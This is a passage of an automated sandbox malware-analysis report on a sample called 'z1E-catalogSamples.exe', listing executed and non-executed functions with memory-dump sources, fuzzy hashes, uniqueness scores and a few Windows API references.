Function 01619BF0 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100882634.0000000001610000.00000040.00000800.00020000.00000000.sdmp, Offset: 01610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1610000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cfe0dbe78adbe4c4a0eaa152e9d0078ad493b980a6da6f0a7d52ed6884d33c6
Instruction ID: 430a4e5b7bd1eeb21d23cdcc71c265de6fa5c85670fac35b8dcd0efcae660163
Opcode Fuzzy Hash: 8cfe0dbe78adbe4c4a0eaa152e9d0078ad493b980a6da6f0a7d52ed6884d33c6
Instruction Fuzzy Hash: 62710472D05608CFC7108F7ECEA16BABBF1EF46314F588566E4569B35AC3349982CB12

Uniqueness

Uniqueness Score: -1.00%

Function 01615E34 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01615EF1

Memory Dump Source

Source File: 00000000.00000002.2100882634.0000000001610000.00000040.00000800.00020000.00000000.sdmp, Offset: 01610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1610000_z1E-catalogSamples.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 9073625dcfd5778297b8d26e1ca2eb0bb9f26185973b4aff8adbab0a182ac1ba
Instruction ID: 8621103a69b26eaaf7cb3c59961f5cc7c942347e7875d6cc4ce143db8f233335
Opcode Fuzzy Hash: 9073625dcfd5778297b8d26e1ca2eb0bb9f26185973b4aff8adbab0a182ac1ba
Instruction Fuzzy Hash: 1441E3B0C00219CFDB24CFA9C984BDDFBB5BF8A304F24806AD419AB255DB75594ACF51

Uniqueness

Uniqueness Score: -1.00%

Function 016149DC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01615EF1

Memory Dump Source

Source File: 00000000.00000002.2100882634.0000000001610000.00000040.00000800.00020000.00000000.sdmp, Offset: 01610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1610000_z1E-catalogSamples.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 4da28aba9855c1a8319503d79ed7ddc549d102440e7961abcc15a1a2bf184175
Instruction ID: 6f4ec3f4113fc50ed72138bb1682530587e2dce1ca43527e73c206d7990c2617
Opcode Fuzzy Hash: 4da28aba9855c1a8319503d79ed7ddc549d102440e7961abcc15a1a2bf184175
Instruction Fuzzy Hash: 5841E3B0C0061DCFDB24CFA9C844B9DFBB6BF89304F24806AD419AB255D7756949CF91

Uniqueness

Uniqueness Score: -1.00%

Function 013BD034 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100476831.00000000013BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13bd000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76c283852c8b597181e8473603fb9fe7f3ced19ac6f7743bcad57077fc2940e7
Instruction ID: 437590742f44db8c0e7c5a9231fda1d3e8503163a75e846c3fb2e001301bcf64
Opcode Fuzzy Hash: 76c283852c8b597181e8473603fb9fe7f3ced19ac6f7743bcad57077fc2940e7
Instruction Fuzzy Hash: A531A17154D3809FD703CF64D894755BFB1EF46218F1885EAC9858B6A3D23A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 013AD72C Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100425331.00000000013AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13ad000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2afe8a8abb466fd1d66e56bc093215ba9ab678e0d4eceb4b8b390c56cd6e27ba
Instruction ID: 3bfa961f11bb7ce9286a036dcd72ce8f471c191ecccf31f16afefb693cde72fa
Opcode Fuzzy Hash: 2afe8a8abb466fd1d66e56bc093215ba9ab678e0d4eceb4b8b390c56cd6e27ba
Instruction Fuzzy Hash: CB216771500284DFCB0ADF58D9C0F26BF69FB88318F60C569E9090BA56C33BC416CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 013BD055 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100476831.00000000013BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13bd000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1067f098be6021a08f8b9098efac01050e860f12c2b7f47172d2441cc6811d3e
Instruction ID: eaaab89887c6de2a331aef1602d3fe8d5e68754f860e40951eed63a850bbcddd
Opcode Fuzzy Hash: 1067f098be6021a08f8b9098efac01050e860f12c2b7f47172d2441cc6811d3e
Instruction Fuzzy Hash: 0F21A0755483809FD703CF64D9C0755BF71FB46218F28C5EAD9498B6A3D33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 013BD0DC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100476831.00000000013BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13bd000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95f5c731773a44631cb5f32dba85b0bbc23c3859d8c449dd59e28fff874f7875
Instruction ID: 4a43b322ef0b50202f0e0e7645fa84208271a1336b0abcdc8beec296ebb8a586
Opcode Fuzzy Hash: 95f5c731773a44631cb5f32dba85b0bbc23c3859d8c449dd59e28fff874f7875
Instruction Fuzzy Hash: 62212271504204DFDB45DF68D9C0B26BF69FB8831CF20C56DDA0A0BB56D33AD806CA61

Uniqueness

Uniqueness Score: -1.00%

Function 013BD294 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100476831.00000000013BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13bd000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ec2778ab18571c7fa3539424ce003f3fc2dd9960a141304461d903da971885e
Instruction ID: 23d639a760eb4f8fecec269fee46c302661f90a134e700b6a97390f1a8867e1f
Opcode Fuzzy Hash: 5ec2778ab18571c7fa3539424ce003f3fc2dd9960a141304461d903da971885e
Instruction Fuzzy Hash: 5A210371604244DFCB05CF98C5C0B26BFA5FB8832CF24C569DA0D0BA53D33AD806CA61

Uniqueness

Uniqueness Score: -1.00%

Function 013AD727 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100425331.00000000013AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13ad000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: ed3fe2821c1cd680b9eca2696de70b3d07328f03ebf3060054126011920dc4a7
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 5F112676404280CFCB06CF44D5C4B16BF72FB88314F24C6A9D9490BA57C336D45ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 013BD28F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100476831.00000000013BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13bd000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: b380206c3aa5a195c9d4c856dab1d3e1207a768cb0facec045db8e8927798b7b
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: C411BB75508280CFDB02CF54D5C4B15BFA1FB84218F28C6A9D94D4BA53C33AD40ACB62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0161E368 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100882634.0000000001610000.00000040.00000800.00020000.00000000.sdmp, Offset: 01610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1610000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd1281c9e73aab765791a6f111d5367dac35947e5b874da441a4df85347052c9
Instruction ID: 61309ba3f647e6aea797780f06c46afb8d67818930e80ce8f560b6ece33ad0d1
Opcode Fuzzy Hash: cd1281c9e73aab765791a6f111d5367dac35947e5b874da441a4df85347052c9
Instruction Fuzzy Hash: 13D1E935C1075A8ACB11EF64D994A9DB771FFE5300F509B9AE00A7B210EB706EC9CB91

Uniqueness

Uniqueness Score: -1.00%

Function 065B0040 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2104730144.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06530000, based on PE: true

Associated: 00000000.00000002.2104574579.0000000006530000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6530000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91b9145814fa857218212ecc58d857041beb986bfe8aae16d8509df584f58278
Instruction ID: 27c5c6445b2a87fc111351f9edeae5495f7056d02f73807a30b7c9bcbdd019c0
Opcode Fuzzy Hash: 91b9145814fa857218212ecc58d857041beb986bfe8aae16d8509df584f58278
Instruction Fuzzy Hash: A701A9B1E056188BEB5CCF6B8C006DFFAF7AFC9300F08D0798408A6264EB7405458F55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: z1E-catalogSamples.exePID: 3472, Parent PID: 4856COMMON

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	148
Total number of Limit Nodes:	18

Executed Functions

Function 06CE2350 Relevance: 9.0, Strings: 6, Instructions: 1497COMMON

Download Yara Rule

Strings

$]q, xrefs: 06CE37BC
$]q, xrefs: 06CE3798
$]q, xrefs: 06CE37C8
$]q, xrefs: 06CE37A4
$]q, xrefs: 06CE376F
$]q, xrefs: 06CE377B

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: daf602048adf0bf6c23a19be27a297ff0264e38f8d860169ab089d6c9d74317d
Instruction ID: 21da940a1bb0cfc29cc068137863d79a9ae039f5c73a7401c8c2b2078cd2d23d
Opcode Fuzzy Hash: daf602048adf0bf6c23a19be27a297ff0264e38f8d860169ab089d6c9d74317d
Instruction Fuzzy Hash: 00D24934A00209CFDB64DF68C584A9DB7F6FF89304F54C5AAD409AB265EB34EE85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 06CE7D60 Relevance: 3.0, Strings: 2, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06CE8307
$]q, xrefs: 06CE82FB

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 8379933e516665e53d12242ecfac676df7704ac4e88f3b7c609db613e281badd
Instruction ID: 8e7b292ea1b92e9996043386a2ee88c3bcd707efd141f0b6df7e5551e3a6260f
Opcode Fuzzy Hash: 8379933e516665e53d12242ecfac676df7704ac4e88f3b7c609db613e281badd
Instruction Fuzzy Hash: B2029D30B012168FDB58DBA8D894AAEB7F2FF84304F148529D405EB395DB35ED82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06CE65C8 Relevance: .8, Instructions: 815COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a29b03c7a755be6723763b6a5e8ef4a6022a96790bf3550cc5dc35136699c5c9
Instruction ID: 48af9d1bd3c0485ab43d4fe89d61c22f78603ecf440e3b70d2a1ae0c091604dd
Opcode Fuzzy Hash: a29b03c7a755be6723763b6a5e8ef4a6022a96790bf3550cc5dc35136699c5c9
Instruction Fuzzy Hash: 0D62CC34B202058FDB54DBA9D584BADBBF6EF88314F148469E406DB390DB35ED46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06CEC168 Relevance: .6, Instructions: 639COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3af6a4c761350203b7a8beaac8c03a5eb338d498366f01d231d2ccdc29cc8216
Instruction ID: b1020a9f87e425161ed14c6b833713b11e2e882e6132284a1782eb4387aa95d0
Opcode Fuzzy Hash: 3af6a4c761350203b7a8beaac8c03a5eb338d498366f01d231d2ccdc29cc8216
Instruction Fuzzy Hash: 5632AF34B002098FDF54DBA8E894BADBBB6FB88310F108529D415EB395DB35ED46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06CEB2B9 Relevance: .6, Instructions: 607COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 197890b5993fe2b9a221fe49342ead13b4a4ffd6eefa215cd46b76029cda693a
Instruction ID: 620b8f62ee256c1ff9cdd278ce6b012f4981248f10969ff910e3ea827ae81507
Opcode Fuzzy Hash: 197890b5993fe2b9a221fe49342ead13b4a4ffd6eefa215cd46b76029cda693a
Instruction Fuzzy Hash: C3225F30F1020A8FDF65CB68D6947BDBBB6EB85310F24882AD449DB391DA34DD85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06CE55A8 Relevance: .6, Instructions: 591COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8815e582e81f4911b25de4305bc916bf2512d1b96a9ae035a627ea807a770c07
Instruction ID: 78d4d22fac18178267d93792429ae543470a9aeaaafa672f8f2b175f0b6cb023
Opcode Fuzzy Hash: 8815e582e81f4911b25de4305bc916bf2512d1b96a9ae035a627ea807a770c07
Instruction Fuzzy Hash: B612F435F102159FDB64DBA4D89076EB7B6FB84318F64882AD406DB381CB35ED42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06CE9130 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06CE91B2
$]q, xrefs: 06CE9183
$]q, xrefs: 06CE9177
$]q, xrefs: 06CE91BE

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: b649f76cc94e85efcd095cb9f7668f713c869f09795a3ffc501f0db5843f5098
Instruction ID: 29b93eb4bfdbaaf12cd8391182d8e1afe2ea4f5efd7cd38fa4713e384999eaa8
Opcode Fuzzy Hash: b649f76cc94e85efcd095cb9f7668f713c869f09795a3ffc501f0db5843f5098
Instruction Fuzzy Hash: D5914230B0021A9FDB54DF69D8547AEB7F6FF84204F108469C80DEB345EA74ED468B92

Uniqueness

Uniqueness Score: -1.00%

Function 06CECF30 Relevance: 4.5, Strings: 3, Instructions: 797
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06CED323
$]q, xrefs: 06CED337
$]q, xrefs: 06CED32B

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: e29b4e1e3e2c9b2bf5c7195ce4cd8473770ba6a7ba40c60f63cc53e294f07e45
Instruction ID: c0e417d3a01109263b085ba6130c871a65b3abc347087b18aca1b2a1187dd384
Opcode Fuzzy Hash: e29b4e1e3e2c9b2bf5c7195ce4cd8473770ba6a7ba40c60f63cc53e294f07e45
Instruction Fuzzy Hash: 5562503070020A8FCB55DF68E594A5DBBF6FF84344B108969D00A9F36ADB75ED86CB81

Uniqueness

Uniqueness Score: -1.00%

Function 06CE4B78 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 06CE4BA3
XPbq, xrefs: 06CE4CC9
\Obq, xrefs: 06CE4D53

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: e06876ac8f444a5506e858aa38fe4d2c43731c4650d308208b055f8a3881c6c0
Instruction ID: fa595b13517c4116b3af9f616d4b14e26a212a66dff9dc577e43c29d2ad3212d
Opcode Fuzzy Hash: e06876ac8f444a5506e858aa38fe4d2c43731c4650d308208b055f8a3881c6c0
Instruction Fuzzy Hash: AE617F30F0021A9FEB549FA9C8547AEBAF6FF88700F208529D106EB395DE759D418B91

Uniqueness

Uniqueness Score: -1.00%

Function 0304E978 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_, xrefs: 0304E9DB

Memory Dump Source

Source File: 00000006.00000002.4525926697.0000000003040000.00000040.00000800.00020000.00000000.sdmp, Offset: 03040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_3040000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 6c53238ffe393cca3375fa7c5e81beb3f71d64475e45c51940bd393ba02a700d
Instruction ID: b09384d9e680e745290708ea3f3733b1d24f5228b74dac2d40cdde48c057e348
Opcode Fuzzy Hash: 6c53238ffe393cca3375fa7c5e81beb3f71d64475e45c51940bd393ba02a700d
Instruction Fuzzy Hash: 174111B2D043898FC704CFB9D8042AEBFF6BF89210F18856AD404A7391DB789985CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 06CEC9F0 Relevance: 2.9, Strings: 2, Instructions: 402
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Dq@p, xrefs: 06CECB54
0o@p, xrefs: 06CECB48

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: 0o@p$Dq@p
API String ID: 0-1537369123
Opcode ID: f4dcedbaa3cad30df6060e79300318393e5a9a68ed7a498aa48e1f4f77a0f642
Instruction ID: 22f126b85817ebd8fa0d066890b23d7ec26074e6b500e639de282fdd0e72cfd5
Opcode Fuzzy Hash: f4dcedbaa3cad30df6060e79300318393e5a9a68ed7a498aa48e1f4f77a0f642
Instruction Fuzzy Hash: 2AE1A030B002058FCB55DB79E494AADBBF2EF88314F108569D41ADB362DB35ED86CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06CE9125 Relevance: 2.7, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06CE91B2
$]q, xrefs: 06CE9177

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 6a558d4885fb2b2fe861bef36a6c646edea38e7fee7140e1b2acf0edc8af181e
Instruction ID: 740fa4bbc597c7ff9a17290cc372bdbcc16788c9be0c1f19c61b8fade9b8b570
Opcode Fuzzy Hash: 6a558d4885fb2b2fe861bef36a6c646edea38e7fee7140e1b2acf0edc8af181e
Instruction Fuzzy Hash: A4518331B002169FDB54DB78D864BAEB7F6FF84204F108469C909DB394EE34ED468B92

Uniqueness

Uniqueness Score: -1.00%

Function 06CE4B68 Relevance: 2.6, Strings: 2, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 06CE4BA3
XPbq, xrefs: 06CE4CC9

Memory Dump Source

Source File: 00000006.00000002.4541039855.0000000006CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ce0000_z1E-catalogSamples.jbxd

Similarity

API ID:
String ID: fbq$XPbq
API String ID: 0-2292610095
Opcode ID: 13b46bac4db263febf9cafebd9f533c55b9ccc0d8e6cbf87925d287ad8c6106c
Instruction ID: 9f0d946ca6357d58a67f35d39dfa8a6032f8e7e484ada4b72755553dcc26f3ed
Opcode Fuzzy Hash: 13b46bac4db263febf9cafebd9f533c55b9ccc0d8e6cbf87925d287ad8c6106c
Instruction Fuzzy Hash: 3F517D30F002099FDB559FE9C854BAEBAF6FF88700F208529D106AB395DA759D01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06CD2593 Relevance: 1.6, APIs: 1, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06CD26AA

Memory Dump Source

Source File: 00000006.00000002.4540957216.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cd0000_z1E-catalogSamples.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0e9fa0639509d0cafdccc7b90b6e1f11e3dbea0663961bea15ec058f18e53877
Instruction ID: 4bd63a51884fec5d13ee44b56cf897956f6a20b587a3d941a4793e4ee75184c6
Opcode Fuzzy Hash: 0e9fa0639509d0cafdccc7b90b6e1f11e3dbea0663961bea15ec058f18e53877
Instruction Fuzzy Hash: A841B0B1D003099FDB14CF9AC984ADEFBB5FF48310F24812AE919AB250D775A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06CD2598 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06CD26AA

Memory Dump Source

Source File: 00000006.00000002.4540957216.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cd0000_z1E-catalogSamples.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 49c2055c32bda56a27a6eba9dec889393dc04b39b0e241ae11be21fbf856ceed
Instruction ID: aaa31ea53b1b9cbf8e11b91cab41740cdf44f19cb8839cfb20c9e57607c2c01f
Opcode Fuzzy Hash: 49c2055c32bda56a27a6eba9dec889393dc04b39b0e241ae11be21fbf856ceed
Instruction Fuzzy Hash: 4741BEB1D003099FDB14CF9AC984ADEFBB5FF48310F24812AE919AB250D775A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06CD5EDC Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06CD7249

Memory Dump Source

Source File: 00000006.00000002.4540957216.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cd0000_z1E-catalogSamples.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 59242cfd289cd8265267876242e8ea4cf5467babc6de833d03123c0df78d8507
Instruction ID: f3d3b0baf99ef90827850cc7f1d8283ad69f8324bcbe2f62980f9264a046b1bb
Opcode Fuzzy Hash: 59242cfd289cd8265267876242e8ea4cf5467babc6de833d03123c0df78d8507
Instruction Fuzzy Hash: CF4119B5900345DFDB54DF99C888AAAFBF5FF88318F248459E519A7321D334A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 06CD7EC4 Relevance: 1.6, APIs: 1, Instructions: 87comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 06CD7F58

Memory Dump Source

Source File: 00000006.00000002.4540957216.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cd0000_z1E-catalogSamples.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: ac9f1946219a06c87cbfdff311589d3f16a812ad85522d2f06cb35b70de17163
Instruction ID: 8cc7685426dd17b89d83ffec7a7ccadb2ba3473844d6ff51e7fc1adb5aedfed0
Opcode Fuzzy Hash: ac9f1946219a06c87cbfdff311589d3f16a812ad85522d2f06cb35b70de17163
Instruction Fuzzy Hash: 6F3112B1D012089FDB50DF99D984BDEFBF5EB48310F20802AE508AB290CB756945CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 06CD78F0 Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 06CD7F58

Memory Dump Source

Source File: 00000006.00000002.4540957216.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cd0000_z1E-catalogSamples.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: ac49913b21c0ee52c65e46429f2f6f6c6aecbbefe680042f49c6d15ad77dbbe7
Instruction ID: 5aa5b2893753fc45e215fab998f7eea79a9228ddda036572b5f5d3b07b649692
Opcode Fuzzy Hash: ac49913b21c0ee52c65e46429f2f6f6c6aecbbefe680042f49c6d15ad77dbbe7
Instruction Fuzzy Hash: 4F3100B0D01209DFDB60DF99C984BDEBBF5AF48304F248029E508BB390D775A944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 06CD62E8 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06CD6377

Memory Dump Source

Source File: 00000006.00000002.4540957216.0000000006CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cd0000_z1E-catalogSamples.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 6b2b318c72d59f6bdd0325358fcbf0a4a870941f5b63684422ac68f915560379
Instruction ID: 8ae082388f250ad39eec8e3343bae8af7a8bef0b754c339188d7ea5ce26738c6
Opcode Fuzzy Hash: 6b2b318c72d59f6bdd0325358fcbf0a4a870941f5b63684422ac68f915560379
Instruction Fuzzy Hash: AE21C3B59002489FDB10DF9AD584AEEFBF9EB49320F14841AE958A3350C378A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 06CD62F0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06CD6377

Memory Dump Source

